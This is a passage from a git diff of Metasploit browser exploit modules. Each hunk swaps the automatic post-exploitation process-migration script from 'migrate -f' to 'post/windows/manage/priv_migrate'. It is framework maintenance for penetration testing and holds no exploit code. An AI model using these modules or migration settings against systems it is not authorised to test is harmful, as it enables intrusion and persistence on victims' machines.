'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index f70773b7a5..28eede199f 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index 0333976af5..084dd3a5f4 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/firefox_smil_uaf.rb b/modules/exploits/windows/browser/firefox_smil_uaf.rb index 3031bde126..9817cee35e 100644 --- a/modules/exploits/windows/browser/firefox_smil_uaf.rb +++ b/modules/exploits/windows/browser/firefox_smil_uaf.rb @@ -45,7 +45,7 @@ require 'msf/core' 'DefaultOptions' => { 'EXITFUNC' => "thread", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'References' => [ diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index 5f083c52da..2ecf38c827 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index 34a7758163..ef7ce99038 100644 --- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb +++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index efa03912ab..bdf8a7c485 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb index d6cbb5275a..f0bcacc5eb 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlcachemgr.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb index 9cb5e338c4..d75ca8fa88 100644 --- a/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb +++ b/modules/exploits/windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb index 873b2b876d..ca2baf3818 100644 --- a/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb +++ b/modules/exploits/windows/browser/hyleos_chemviewx_activex.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb index 76261ed22b..b0c226aeaf 100644 --- a/modules/exploits/windows/browser/ibm_spss_c1sizer.rb +++ b/modules/exploits/windows/browser/ibm_spss_c1sizer.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb index 1f261d420a..c67ae31f3e 100644 --- a/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb +++ b/modules/exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index e002ede87f..97cfd3c741 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb index d00bae6af6..8f7909a73f 100644 --- a/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb +++ b/modules/exploits/windows/browser/ie_cgenericelement_uaf.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index bad5533df1..3656eee408 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 6c8d41af0e..bf8c48a15b 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 17 2013", diff --git a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb index 26459acef3..2cd1945cde 100644 --- a/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb +++ b/modules/exploits/windows/browser/imgeviewer_tifmergemultifiles.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 0a0583a308..588c0e68e6 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 66e44e1579..5251bad151 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index 3f626ef961..17035dd842 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index c8a8cbcec7..625f2b8f50 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -58,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/java_mixer_sequencer.rb b/modules/exploits/windows/browser/java_mixer_sequencer.rb index 5817b6720e..c2983fb3ef 100644 --- a/modules/exploits/windows/browser/java_mixer_sequencer.rb +++ b/modules/exploits/windows/browser/java_mixer_sequencer.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index eca4fd4e7d..b72351ea5b 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "none", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index e431231c46..11b8a375cd 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 635d5fc3be..eee4ff70b9 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_interleaved_write.rb b/modules/exploits/windows/browser/mozilla_interleaved_write.rb index be9b94bf4a..8c4e458121 100644 --- a/modules/exploits/windows/browser/mozilla_interleaved_write.rb +++ b/modules/exploits/windows/browser/mozilla_interleaved_write.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 351ab5261d..9523c605da 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 6b09d042d0..b0da5742b1 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 46ba71e46e..74a5f98f0f 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', # graceful exit if run in separate thread - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 2a78db1bb5..1e3d030aa6 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 9027e3b800..29b047312a 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index fb953019b4..e3d674c967 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index 5d223c0b62..f1351ca547 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index c8c48f817f..a3acec9c72 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -50,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 3bc77c655b..cfd43a5b1a 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 205ab89161..4735af705f 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index a0d8c78154..6866f86857 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => %w{ win }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index fa32a72eb7..adecbbaa0e 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 00a7558b92..6ad6f0d3f7 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index 8d6ebad0b1..e6e9341fee 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index b31eaf3ef2..e5b79c692f 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index b382a1498c..0ce8917f60 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 16cec1843d..1e4148a5fe 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index af516188b1..bd21e67a57 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index ae82b71a96..8e1aa2f595 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index 66098c6c37..da1bca2765 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index d766b0638d..a9a55bf86b 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'EXITFUNC' => 'thread' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 09200f72af..9aace12737 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 55980c503d..9aff17a110 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Bug was patched in July 2013. Tsai was the first to publish the bug. diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index fc2563ea71..bc1a43968d 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Jun 27 2013", diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 6178bc76a8..ea4b88d0fd 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 6ee1ddd0da..e635e9d0f5 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { #'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 136025b1a0..04a9053d34 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Privileged' => false, diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 5b709aacba..8905a75dc4 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -52,7 +52,7 @@ class MetasploitModule < 